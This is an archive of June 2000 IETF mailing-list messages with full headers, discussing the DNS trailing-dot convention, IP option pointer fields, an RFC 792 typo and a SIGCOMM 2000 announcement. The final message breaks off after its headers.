	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 16:20:01 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA12217
	for <ietf@ietf.org>; Fri, 2 Jun 2000 16:12:20 -0400 (EDT)
Received: from isi.edu (sci.isi.edu [128.9.160.93])
	by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id NAA17354;
	Fri, 2 Jun 2000 13:12:19 -0700 (PDT)
Message-ID: <39381515.C300F19D@isi.edu>
Date: Fri, 02 Jun 2000 13:12:05 -0700
From: Joe Touch <touch@ISI.EDU>
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: John C Klensin <klensin@jck.com>
CC: ietf@ietf.org
Subject: Re: Security and suffixes (Re: Cite on DNS-related traffic.)
References: <2182801762.959960508@JKLENSIN01>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit



John C Klensin wrote:
> 
> --On Friday, June 02, 2000 10:56 AM -0700 Joe Touch
> <touch@ISI.EDU> wrote:
> 
> > The use of the trailing dot (www.netscape.com.) remains
> > a useful way to force the resolver to avoid suffix extensions.
> 
> And a useful way to induce massive confusion, since many
> applications do not recognize the hack and won't pass it to a
> resolver (which, of course, may or may not recognize it either).

It's not a hack - it's a fully qualified domain name.
Wouldn't this be a fine way to flag the bug in those apps?

Joe



From owner-ietf-outbound  Fri Jun  2 16:31:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA12643
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 16:30:03 -0400 (EDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA12447
	for <ietf@ietf.org>; Fri, 2 Jun 2000 16:20:52 -0400 (EDT)
Received: from gra.isi.edu (gra.isi.edu [128.9.160.133])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA02659;
	Fri, 2 Jun 2000 13:20:53 -0700 (PDT)
From: Bob Braden <braden@ISI.EDU>
Received: (from braden@localhost)
	by gra.isi.edu (8.8.7/8.8.6) id UAA24542;
	Fri, 2 Jun 2000 20:20:53 GMT
Date: Fri, 2 Jun 2000 20:20:53 GMT
Message-Id: <200006022020.UAA24542@gra.isi.edu>
To: touch@ISI.EDU, klensin@jck.com
Subject: Re: Security and suffixes (Re: Cite on DNS-related traffic.)
Cc: ietf@ietf.org
X-Sun-Charset: US-ASCII
X-Loop: ietf@ietf.org


  *> From owner-ietf-outbound@ietf.org Fri Jun  2 13:09:06 2000
  *> Date: Fri, 02 Jun 2000 15:41:48 -0400
  *> From: John C Klensin <klensin@jck.com>
  *> Subject: Re: Security and suffixes (Re: Cite on DNS-related traffic.)
  *> In-reply-to: <3937F54F.F0D9FFF8@isi.edu>
  *> To: Joe Touch <touch@ISI.EDU>
  *> Cc: ietf@ietf.org
  *> MIME-version: 1.0
  *> X-Mailer: Mulberry/2.0.0 (Win32)
  *> Content-transfer-encoding: 7bit
  *> Content-disposition: inline
  *> Content-Transfer-Encoding: 7bit
  *> X-Loop: ietf@ietf.org
  *> Content-Transfer-Encoding: 7bit
  *> X-Lines: 15
  *> 
  *> 
  *> 
  *> --On Friday, June 02, 2000 10:56 AM -0700 Joe Touch
  *> <touch@ISI.EDU> wrote:
  *> 
  *> > The use of the trailing dot (www.netscape.com.) remains
  *> > a useful way to force the resolver to avoid suffix extensions.
  *> 
  *> And a useful way to induce massive confusion, since many
  *> applications do not recognize the hack and won't pass it to a
  *> resolver (which, of course, may or may not recognize it either).
  *> 
  *>    john
  *> 

John,

Hack??  I will admit to being largely out of touch with this issue, but
I recall the discussions in the IAB while the DNS was under
development.  Far from being a hack, I believe it was an architectured
solution to the problem.  It is documented (at least) in section
6.1.4.3 of RFC 1123.

Bob Braden



From owner-ietf-outbound  Fri Jun  2 16:51:43 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA13071
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 16:50:03 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13040
	for <ietf@ietf.org>; Fri, 2 Jun 2000 16:49:37 -0400 (EDT)
Received: from ex1.clearaccess.net ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with ESMTP id QAA01301;
	Fri, 2 Jun 2000 16:48:56 -0400
Received: by EX1 with Internet Mail Service (5.5.1960.3)
	id <L9T95HD3>; Fri, 2 Jun 2000 16:44:16 -0400
Message-ID: <912FCDD4C52DD4118A740008C7CF9C3103CA82@EX1>
From: Scot Mc Pherson <smcpherson@clearaccess.net>
To: "'Joe Touch'" <touch@ISI.EDU>, "'John C Klensin'" <klensin@jck.com>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: Security and suffixes (Re: Cite on DNS-related traffic.)
Date: Fri, 2 Jun 2000 16:44:11 -0400 
Return-Receipt-To: Scot Mc Pherson <smcpherson@clearaccess.net>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
X-Loop: ietf@ietf.org

I would think so...it would also prevent soft referencing of alternate
domain names because it would force DNS to search the root domain (.)

-Scot Mc Pherson
-N2UPA
-RF Engineer
-ClearAccess Communications
-http://www.clearaccess.net
-maito:smcpherson@clearaccess.net 

-----Original Message-----
From: Joe Touch [mailto:touch@ISI.EDU]
Sent: Friday, June 02, 2000 4:12 PM
To: John C Klensin
Cc: ietf@ietf.org
Subject: Re: Security and suffixes (Re: Cite on DNS-related traffic.)




John C Klensin wrote:
> 
> --On Friday, June 02, 2000 10:56 AM -0700 Joe Touch
> <touch@ISI.EDU> wrote:
> 
> > The use of the trailing dot (www.netscape.com.) remains
> > a useful way to force the resolver to avoid suffix extensions.
> 
> And a useful way to induce massive confusion, since many
> applications do not recognize the hack and won't pass it to a
> resolver (which, of course, may or may not recognize it either).

It's not a hack - it's a fully qualified domain name.
Wouldn't this be a fine way to flag the bug in those apps?

Joe



From owner-ietf-outbound  Fri Jun  2 17:42:56 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA15412
	for ietf-outbound.10@ietf.org; Fri, 2 Jun 2000 17:40:02 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA15232
	for <ietf@ietf.org>; Fri, 2 Jun 2000 17:33:39 -0400 (EDT)
Received: from isi.edu (sci.isi.edu [128.9.160.93])
	by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id OAA27754
	for <ietf@ietf.org>; Fri, 2 Jun 2000 14:33:40 -0700 (PDT)
Message-ID: <39382825.32613B5@isi.edu>
Date: Fri, 02 Jun 2000 14:33:25 -0700
From: Joe Touch <touch@ISI.EDU>
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Sigcomm 2000 - call for participation of IETF members
References: <200006022028.QAA22294@astro.cs.utk.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Dear IETF members:

This note is a brief heads up that ACM SIGCOMM 2000 will be held
late August in Stockholm, Sweden.  Registration information can be found
at http://www.acm.org/sigcomm/sigcomm2000

There are a number of papers in the program that may be of interest
to IETF members, including two papers on BGP/OSPF performance, a paper
on TCP performance for Web transactions, and a paper that shows we're
relying on the TCP checksum to catch far too many transmission errors.

Beyond being one of Europe's most beautiful capital cities, Stockholm
has
become one of Europe's high tech centers in recent years. IETF veterans
may be pleased to note that the conference hotel will be the Grand
Hotel,
where IETF Stockholm was held a few years ago.

Students should note that SIGCOMM is providing a number of travel grants
to fund student travel to the conference.

Joe Touch
Publicity Chair
Sigcomm 2000



From owner-ietf-outbound  Sun Jun  4 09:51:54 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA07685
	for ietf-outbound.10@ietf.org; Sun, 4 Jun 2000 09:50:01 -0400 (EDT)
Received: from cbin2-mail.cisco.com (cbin2-mail.cisco.com [192.135.246.72])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07642
	for <ietf@ietf.org>; Sun, 4 Jun 2000 09:41:43 -0400 (EDT)
Received: from ashankar-pc ([192.135.247.121])
	by cbin2-mail.cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id TAA29051
	for <ietf@ietf.org>; Sun, 4 Jun 2000 19:10:53 +0530 (IST)
Message-Id: <4.1.20000604185826.00a20550@cbin2-mail>
X-Sender: ashankar@cbin2-mail
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Sun, 04 Jun 2000 19:07:37 +0530
To: ietf@ietf.org
From: Shankar Agarwal <ashankar@cisco.com>
Subject: Regarding the pointer field in LSSR options of IP packet.
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Hi,
Can anyone tell me why the minimum value of the pointer in the LSSR option
is 4. It says that it points to the next address with respect to the option
field. Then shouldn't it be 3 (option type + length + pointer) rather then 4.
Similarly for the pointer in the timestamp option it says that
"The Pointer is the number of octets from the beginning of this
option to the end of timestamps plus one (i.e., it points to the
octet beginning the space for next timestamp).  The smallest
legal value is 5.  The timestamp area is full when the pointer
is greater than the length."
Here i think that the value of the pointer should have been 4 and the
sentence should have been "The Pointer is the number of octets from the
beginning of this option to the end of timestamps"
rather then ""The Pointer is the number of octets from the beginning of
this option to the end of timestamps plus one". Otherwise if the plus one
is there then the following sentence in the bracket "(i.e., it points to
the octet beginning the space for next timestamp)." should have been
reframed to "(i.e., it points to the octet after the space for next
timestamp)."
Any help in clarifying my doubt would be appreciated.
Regards
Shankar



From owner-ietf-outbound  Sun Jun  4 10:30:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA07908
	for ietf-outbound.10@ietf.org; Sun, 4 Jun 2000 10:30:02 -0400 (EDT)
Received: from cbin2-mail.cisco.com (cbin2-mail.cisco.com [192.135.246.72])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07874
	for <ietf@ietf.org>; Sun, 4 Jun 2000 10:26:59 -0400 (EDT)
Received: from ashankar-pc ([192.135.247.121])
	by cbin2-mail.cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id TAA00021
	for <ietf@ietf.org>; Sun, 4 Jun 2000 19:56:08 +0530 (IST)
Message-Id: <4.1.20000604195040.009f2c80@cbin2-mail>
X-Sender: ashankar@cbin2-mail
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Sun, 04 Jun 2000 19:52:52 +0530
To: ietf@ietf.org
From: Shankar Agarwal <ashankar@cisco.com>
Subject: Regarding the pointer field in LSSR options of IP packet.
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Hi,
If there is any typing error in some RFC then what is the rule. Do we
correct it. I found one in the RFC792 where the 

IP Fields:

   Type

      15 for information request message;

      16 for information reply message.

   Code

      0

should have been

ICMP Fields:

   Type

      15 for information request message;

      16 for information reply message.

   Code

      0

Regards
Shankar



From owner-ietf-outbound  Mon Jun  5 07:31:00 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA28756
	for ietf-outbound.10@ietf.org; Mon, 5 Jun 2000 07:30:02 -0400 (EDT)
Received: from cbin2-mail.cisco.com (cbin2-mail.cisco.com [192.135.246.72])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28603
	for <ietf@ietf.org>; Mon, 5 Jun 2000 07:21:03 -0400 (EDT)
Received: from ashankar-pc ([192.135.247.121])
	by cbin2-mail.cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id QAA02769
	for <ietf@ietf.org>; Mon, 5 Jun 2000 16:50:03 +0530 (IST)
Message-Id: <4.1.20000605164415.00a23100@cbin2-mail>
X-Sender: ashankar@cbin2-mail
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Mon, 05 Jun 2000 16:46:47 +0530
To: ietf@ietf.org
From: Shankar Agarwal <ashankar@cisco.com>
Subject: About the ICMP message.RFC792
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Hi,
Can some one explain me the following ICMP mesg. Why is it exactly used. I
am having difficulty in comprehending the meaning of the description
attached to this mesg.

Information Request or Information Reply Message

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Type      |      Code     |          Checksum             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Identifier          |        Sequence Number        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   IP Fields:

   Addresses

      The address of the source in a information request message will be
      the destination of the information reply message.  To form a
      information reply message, the source and destination addresses
      are simply reversed, the type code changed to 16, and the checksum
      recomputed.

   IP Fields:

   Type

      15 for information request message;

      16 for information reply message.

   Code

      0

   Checksum

      The checksum is the 16-bit ones's complement of the one's
      complement sum of the ICMP message starting with the ICMP Type.
      For computing the checksum , the checksum field should be zero.
      This checksum may be replaced in the future.

   Identifier

      If code = 0, an identifier to aid in matching request and replies,
      may be zero.

   Sequence Number

      If code = 0, a sequence number to aid in matching request and
      replies, may be zero.

   Description

      This message may be sent with the source network in the IP header
      source and destination address fields zero (which means "this"
      network).  The replying IP module should send the reply with the
      addresses fully specified.  This message is a way for a host to
      find out the number of the network it is on.

      The identifier and sequence number may be used by the echo sender
      to aid in matching the replies with the requests.  For example,
      the identifier might be used like a port in TCP or UDP to identify
      a session, and the sequence number might be incremented on each
      request sent.  The destination returns these same values in the
      reply.

      Code 0 may be received from a gateway or a host.



Regards
Shankar 



From owner-ietf-outbound  Mon Jun  5 13:12:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA06649
	for ietf-outbound.10@ietf.org; Mon, 5 Jun 2000 13:10:02 -0400 (EDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06538
	for <ietf@ietf.org>; Mon, 5 Jun 2000 13:02:57 -0400 (EDT)
Received: from gra.isi.edu (gra.isi.edu [128.9.160.133])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA00476;
	Mon, 5 Jun 2000 10:02:54 -0700 (PDT)
From: Bob Braden <braden@ISI.EDU>
Received: (from braden@localhost)
	by gra.isi.edu (8.8.7/8.8.6) id RAA25150;
	Mon, 5 Jun 2000 17:02:54 GMT
Date: Mon, 5 Jun 2000 17:02:54 GMT
Message-Id: <200006051702.RAA25150@gra.isi.edu>
To: ietf@ietf.org, ashankar@cisco.com
Subject: Re: About the ICMP message.RFC792
X-Sun-Charset: US-ASCII
X-Loop: ietf@ietf.org


  *> From owner-ietf-outbound@ietf.org Mon Jun  5 04:45:59 2000
  *> X-Sender: ashankar@cbin2-mail
  *> X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
  *> Date: Mon, 05 Jun 2000 16:46:47 +0530
  *> To: ietf@ietf.org
  *> From: Shankar Agarwal <ashankar@cisco.com>
  *> Subject: About the ICMP message.RFC792
  *> Mime-Version: 1.0
  *> X-Loop: ietf@ietf.org
  *> X-Lines: 76
  *> 
  *> Hi,
  *> Can some one explain me the following ICMP mesg. Why is it exactly used. I
  *> am having difficulty in comprehending the meaning of the description
  *> attached to this mesg.
  *> 

Please see section 3.2.2.7 of RFC 1122, "Requirements for Internet Hosts",
October 1989.  It should fully answer your questions.

Bob Braden



From owner-ietf-outbound  Mon Jun  5 13:50:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA07475
	for ietf-outbound.10@ietf.org; Mon, 5 Jun 2000 13:50:03 -0400 (EDT)
Received: from sjc3-1.relay.mail.uu.net (sjc3-1.relay.mail.uu.net [199.171.54.122])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07447
	for <ietf@ietf.org>; Mon, 5 Jun 2000 13:49:26 -0400 (EDT)
Received: from Pershing.com by sjc3sosrv11.alter.net with SMTP 
	(peer crosschecked as: mail.pershing.com [207.77.154.228])
	id QQishj13305
	for <ietf@ietf.org>; Mon, 5 Jun 2000 17:47:15 GMT
Received: by Pershing.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 852568F5.00619D99 ; Mon, 5 Jun 2000 13:46:13 -0400
X-Lotus-FromDomain: PERSHING@EXTERNAL
From: "Joseph Gallagher" <jgallagher@Pershing.com>
To: ietf@ietf.org
Message-ID: <852568F5.00619D5B.00@Pershing.com>
Date: Mon, 5 Jun 2000 13:45:49 -0400
Subject: Remove
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Loop: ietf@ietf.org




from mailing list
---------------------- Forwarded by Joseph Gallagher/JerseyCity/Pershing on
06/05/2000 01:45 PM ---------------------------


Bob Braden <braden@ISI.EDU> on 06/05/2000 01:02:54 PM

To:   ietf@ietf.org, ashankar@cisco.com
cc:    (bcc: Joseph Gallagher/JerseyCity/Pershing)
Subject:  Re: About the ICMP message.RFC792





  *> From owner-ietf-outbound@ietf.org Mon Jun  5 04:45:59 2000
  *> X-Sender: ashankar@cbin2-mail
  *> X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
  *> Date: Mon, 05 Jun 2000 16:46:47 +0530
  *> To: ietf@ietf.org
  *> From: Shankar Agarwal <ashankar@cisco.com>
  *> Subject: About the ICMP message.RFC792
  *> Mime-Version: 1.0
  *> X-Loop: ietf@ietf.org
  *> X-Lines: 76
  *>
  *> Hi,
  *> Can some one explain me the following ICMP mesg. Why is it exactly used. I
  *> am having difficulty in comprehending the meaning of the description
  *> attached to this mesg.
  *>

Please see section 3.2.2.7 of RFC 1122, "Requirements for Internet Hosts",
October 1989.  It should fully answer your questions.

Bob Braden






From owner-ietf-outbound  Tue Jun  6 03:20:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA29233
	for ietf-outbound.10@ietf.org; Tue, 6 Jun 2000 03:20:02 -0400 (EDT)
Received: from shell16.ba.best.com (heard@shell16.ba.best.com [206.184.139.148])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA29210
	for <ietf@ietf.org>; Tue, 6 Jun 2000 03:17:54 -0400 (EDT)
Received: from localhost (heard@localhost)
	by shell16.ba.best.com (8.9.3/8.9.2/best.sh) with ESMTP id AAA25605
	for <ietf@ietf.org>; Tue, 6 Jun 2000 00:17:55 -0700 (PDT)
X-Authentication-Warning: shell16.ba.best.com: heard owned process doing -bs
Date: Tue, 6 Jun 2000 00:17:54 -0700 (PDT)
From: "C. M. Heard" <heard@vvnet.com>
X-Sender: heard@shell16.ba.best.com
To: ietf@ietf.org
Subject: Re: Regarding the pointer field in LSSR options of IP packet.
Message-ID: <Pine.BSF.4.21.0006060010210.24370-100000@shell16.ba.best.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

Shankar Agarwal <ashankar@cisco.com> wrote:
>
> Can anyone tell me why the minimum value of the pointer in the LSSR option
> is 4. It says that it points to the next address with respect to the option
> field. Then shouldn't it be 3 (option type + length + pointer) rather then 4.
> Similarly for the pointer in the timestamp option it says that
> "The Pointer is the number of octets from the beginning of this
> option to the end of timestamps plus one (i.e., it points to the
> octet beginning the space for next timestamp).  The smallest
> legal value is 5.  The timestamp area is full when the pointer
> is greater than the length."

The pointers are 1-based, i.e., a pointer value of 1 would point to the
option type.

//cmh



From owner-ietf-outbound  Tue Jun  6 10:00:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA04764
	for ietf-outbound.10@ietf.org; Tue, 6 Jun 2000 10:00:03 -0400 (EDT)
Received: from lhsftp.lhsgroup.com (lhsftp.lhsgroup.com [208.140.112.44])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03651
	for <ietf@ietf.org>; Tue, 6 Jun 2000 09:53:56 -0400 (EDT)
Received: from desprmail01.de.lhsgroup.com (lhs120-30.de.lhsgroup.com [208.140.120.30])
	by lhsftp.lhsgroup.com (8.8.5/8.8.5) with ESMTP id IAA23207
	for <ietf@ietf.org>; Tue, 6 Jun 2000 08:25:38 -0400
Received: by desprmail01.de.lhsgroup.com with Internet Mail Service (5.5.2650.21)
	id <LJQFKBRC>; Tue, 6 Jun 2000 14:24:58 +0200
Message-ID: <C9B5CE2CF332D311B5840004AC4CC37503371B2A@desprmail01.de.lhsgroup.com>
From: "Barathy, RamaSubramaniam" <RBarathy@de.lhsgroup.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: APIs for web servers
Date: Tue, 6 Jun 2000 14:24:55 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



Dear All, 

I would like to know RFCs or protcols which I need to
go through for accessing web servers, provisioing web
services and accounting.

Advanced thanks
Rams barathy



From owner-ietf-outbound  Tue Jun  6 11:50:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA10708
	for ietf-outbound.10@ietf.org; Tue, 6 Jun 2000 11:50:02 -0400 (EDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA10559
	for <ietf@ietf.org>; Tue, 6 Jun 2000 11:44:11 -0400 (EDT)
Received: from gra.isi.edu (gra.isi.edu [128.9.160.133])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15073;
	Tue, 6 Jun 2000 08:44:12 -0700 (PDT)
From: Bob Braden <braden@ISI.EDU>
Received: (from braden@localhost)
	by gra.isi.edu (8.8.7/8.8.6) id PAA25518;
	Tue, 6 Jun 2000 15:44:11 GMT
Date: Tue, 6 Jun 2000 15:44:11 GMT
Message-Id: <200006061544.PAA25518@gra.isi.edu>
To: ietf@ietf.org, heard@vvnet.com
Subject: Re: Regarding the pointer field in LSSR options of IP packet.
X-Sun-Charset: US-ASCII
X-Loop: ietf@ietf.org

  *> Shankar Agarwal <ashankar@cisco.com> wrote:
  *> >
  *> > Can anyone tell me why the minimum value of the pointer in the LSSR option
  *> > is 4. It says that it points to the next address with respect to the option
  *> > field. Then shouldn't it be 3 (option type + length + pointer) rather then 4.
  *> > Similarly for the pointer in the timestamp option it says that
  *> > "The Pointer is the number of octets from the beginning of this
  *> > option to the end of timestamps plus one (i.e., it points to the
  *> > octet beginning the space for next timestamp).  The smallest
  *> > legal value is 5.  The timestamp area is full when the pointer
  *> > is greater than the length."
  *> 
  *> The pointers are 1-based, i.e., a pointer value of 1 would point to the
  *> option type.
  *> 
  *> //cmh
  *> 
  *> 

Yes.  

Some years ago I twigged Jon Postel about this precise issue.  As I
recall, he shrugged his shoulders and said something like "Well, I made
a choice, maybe not the choice I would make today, but... [that's the
way it is, learn to live with it!].

(The part in [] is my interpretation of his shrug).

Bob Braden



From owner-ietf-outbound  Tue Jun  6 12:40:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA14050
	for ietf-outbound.10@ietf.org; Tue, 6 Jun 2000 12:40:02 -0400 (EDT)
Received: from camaleon.lander.es ([212.95.212.2])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA13721
	for <ietf@ietf.org>; Tue, 6 Jun 2000 12:30:56 -0400 (EDT)
Received: (qmail 16963 invoked from network); 6 Jun 2000 16:30:58 -0000
Received: from lince.lander.es (195.76.46.35)
  by camaleon.lander.es with SMTP; 6 Jun 2000 16:30:58 -0000
Received: (qmail 13952 invoked from network); 6 Jun 2000 16:32:02 -0000
Received: from ppp-46-201.lander.es (HELO salva) (195.76.46.201)
  by lince.lander.es with SMTP; 6 Jun 2000 16:32:02 -0000
Message-Id: <3.0.6.32.20000606183819.0079ebb0@lince.lander.es>
X-Sender: svidal@lince.lander.es
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Tue, 06 Jun 2000 18:38:19 +0200
To: "salavat" <salavat@UKONLINE.CO.UK>
From: Salvador Vidal <svidal@lander.es>
Subject: Re: Acronims' ambiquity
Cc: ietf@ietf.org
In-Reply-To: <00ac01bfcbb9$5ca579c0$201286d4@magazov>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id MAA13721
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Hello,

At 12:05 01/06/00 +0100, Salavat R. Magazov wrote:
>Hello
>
>I am a bit confused by the acronims used in IETF drafts, e.g. in >some
places...

IETF works and discussions formats are very important not only because the
task but also because it can serves as guide to other technicals
discusions, so they can adapt IETF way to their fields.

So just as an example I write what format I like:
I want hypertext anywhere, by anywhere I mean anywhere, not only where the
author puts it, but in any single word, picture ... and in any draft,
e-mail or whatever.
More, I want oriented (multiple) hiperlinks, sometimes you click in an idea
because you don´t understand it asking for an explanation, others you want
to get deep in this idea asking for more arguments or examples about it,
others you are esceptical and you want critics about it ..., so perhaps
someone will foresee a kind of metahiperlink as way to explain why I click
there and drive me to the apropiate hiperlink, with this I will have
sensitive case hiperlinks to:

-The hiperlink that the author creates, as usual.

-A link to a search engine with word wich I click and the context of this
word as arguments.

-Links created by other people (not the author) to their interpretations,
critize.. of the work, scientific spirit not only acept critics but impulse
them, I think that an author that acept that others put links in his work
probes his scientific spirit, but one thing is impulse critics and other to
see your work full of links to porn sites, so I think that the owner of the
information has the right to stop abuse of this, the information owner not
necesary means the author, i.e.: I think that the works and discusions at
IETF are property of IETF, so must follow the rules of IEFT, I mean the
rules that IEFT people want to follow not what the IEFT liders say but this
other history...

-A link to my local dictionary, of course I need them to complete my
diccionary with the IEFT one, I think IEFT dictionary is a group work so
people must introduce the new words on it when they create them, but this
need a moderator that say: Hey Salva diccionary is not a new word, Helsinky
is not a new city,..., please learn orthography before new words
introduction!. 

-...

Best Regards,
Salva

>Regards
>Salavat R. Magazov




From owner-ietf-outbound  Tue Jun  6 12:50:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA14364
	for ietf-outbound.10@ietf.org; Tue, 6 Jun 2000 12:50:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14203
	for <ietf@ietf.org>; Tue, 6 Jun 2000 12:45:15 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id JAA27405
	for <ietf@ietf.org>; Tue, 6 Jun 2000 09:44:47 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <MK5VT1P4>; Tue, 6 Jun 2000 16:44:25 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D24A@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: ietf@ietf.org
Subject: RE: Regarding the pointer field in LSSR options of IP packet.
Date: Tue, 6 Jun 2000 16:44:14 -0000 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



->-----Original Message-----
->From: Bob Braden [mailto:braden@ISI.EDU]
->Sent: Tuesday, June 06, 2000 11:44 AM
->To: ietf@ietf.org; heard@vvnet.com
->Subject: Re: Regarding the pointer field in LSSR options of IP packet.
->
->Yes.  
->
->Some years ago I twigged Jon Postel about this precise issue.  As I
->recall, he shrugged his shoulders and said something like 
->"Well, I made
->a choice, maybe not the choice I would make today, but... [that's the
->way it is, learn to live with it!].
->
->(The part in [] is my interpretation of his shrug).
->
->Bob Braden

I think at that "time" [early '80'], someone had to make "some" 
decision's and Jon did, as he was the rfc editor... 

/pd



From owner-ietf-outbound  Tue Jun  6 13:10:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA14904
	for ietf-outbound.10@ietf.org; Tue, 6 Jun 2000 13:10:03 -0400 (EDT)
Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14761
	for <ietf@ietf.org>; Tue, 6 Jun 2000 13:04:17 -0400 (EDT)
From: bindignavile.srinivas@nokia.com
Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61])
	by mgw-x2.nokia.com (8.9.3/8.9.3/o) with ESMTP id UAA28408;
	Tue, 6 Jun 2000 20:04:18 +0300 (EETDST)
Received: from daebh02nok.americas.nokia.com (daebh02nok.americas.nokia.com [172.18.242.183])
	by mgw-i2.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id UAA13778;
	Tue, 6 Jun 2000 20:04:16 +0300 (EETDST)
Received: by daebh02nok with Internet Mail Service (5.5.2448.0)
	id <LXZZWAVR>; Tue, 6 Jun 2000 12:04:15 -0500
Message-ID: <8F68C0510B95D211A2B30008C7EA465002741E18@daeis04nok>
To: svidal@lander.es, salavat@UKONLINE.CO.UK
Cc: ietf@ietf.org
Subject: RE: Acronims' ambiquity
